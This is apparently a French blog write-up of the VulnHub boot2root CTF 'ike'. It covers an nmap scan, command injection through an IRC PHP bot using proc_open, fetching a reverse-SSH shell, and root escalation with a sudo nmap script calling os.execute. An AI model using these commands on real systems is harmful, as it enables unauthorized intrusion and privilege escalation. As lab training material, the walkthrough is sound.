SP: ike est un CTF de type boot2root proposé sur VulnHub. La description est la suivante :
Ike is a servant of something which also starts with “I” and has only three letters.
Hmm moi j’imagine plutôt IKE donc VPN mais on voit tout de suite que c’est plutôt IRC :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Nmap scan report for 192.168.56.76
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
6667/tcp open irc InspIRCd
| irc-info:
| server: irc.ike.local
| users: 2
| servers: 1
| chans: 1
| lusers: 2
| lservers: 0
| source ident: nmap
| source host: 192.168.56.1
|_ error: Closing link: (nmap@192.168.56.1) [Client exited]
On a un serveur InspIRCd. Aucun exploit n’est présent pour ce logiciel sur exploit-db comme quoi soit il est bien conçu soit il n’intéresse personne :D
Sur ma machine, il ne me reste que Pidgin comme client supportant IRC alors on fera avec. Je crée le compte en spécifiant l’adresse IP du serveur puis je vais sur Comptes > devloop@192.168.56.76 > voir le message du jour qui m’affiche les infos suivantes :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
- #############################################
- # #### # # #### #
- # # # # # # # #
- # ### #### ### #
- # # # # # #
- # # # # # #
- #############################################
-
- Welcome to the PHP community IRC server where you can get help with your PHP code.
- Also feel free to talk and share information about PHP in general.
- Join the main channel at #php for a friendly chat!
-
- Rules:
- * Don't ask to ask, just ask.
- * Don't paste code directly in the chat, use pastebin.
- * Don't ask the same question again if no one answers.
- * Don't flood the channel in general.
- * Run PHP commands through the PHP bot with !php <command>
- * Please don't try to abuse the bot.
- * Behave like an adult.
-
- #############################################
- #############################################
Avec un client plus traditionnel j’aurais eu le message directement.
Il y a donc un bot sur le chan #php
. On va causer un peu avec lui :
proc_open
est donc notre porte d’entrée. Je peux récupérer l’environnement qui en dit suffisamment long sur le compte qui fait tourner le bot :
1
!php proc_open("env",array(),$something);
1
2
3
4
5
6
HOME=/home/ike
LOGNAME=ike
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/home/ike
Je rappatrie un reverse-sshx64 dans le dossier courant puis l’exécute pour avoir mon shell et tunnel SSH.
1
2
3
4
5
6
7
8
9
ike@ike:/home/ike$ cat flag.txt
cdca0db3c1d9a7290
ike@ike:/home/ike$ sudo -l
Matching Defaults entries for ike on ike:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ike may run the following commands on ike:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/nmap
Un coup d’œil à GTFObins plus tard :
1
2
3
4
5
6
7
8
ike@ike:/home/ike$ echo 'os.execute("/bin/dash")' > myscript
ike@ike:/home/ike$ sudo /usr/bin/nmap --script=myscript
Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-20 15:08 CET
NSE: Warning: Loading 'myscript' -- the recommended file extension is '.nse'.
# uid=0(root) gid=0(root) groups=0(root)
# # flag.txt
# d8f8254074369b6
Dans l’output çi-dessus on ne voit pas les commandes que je tape car je suppose que stdin n’est pas répété mais il s’agit des commandes id
, ls
et cat
.
Publié le 20 décembre 2022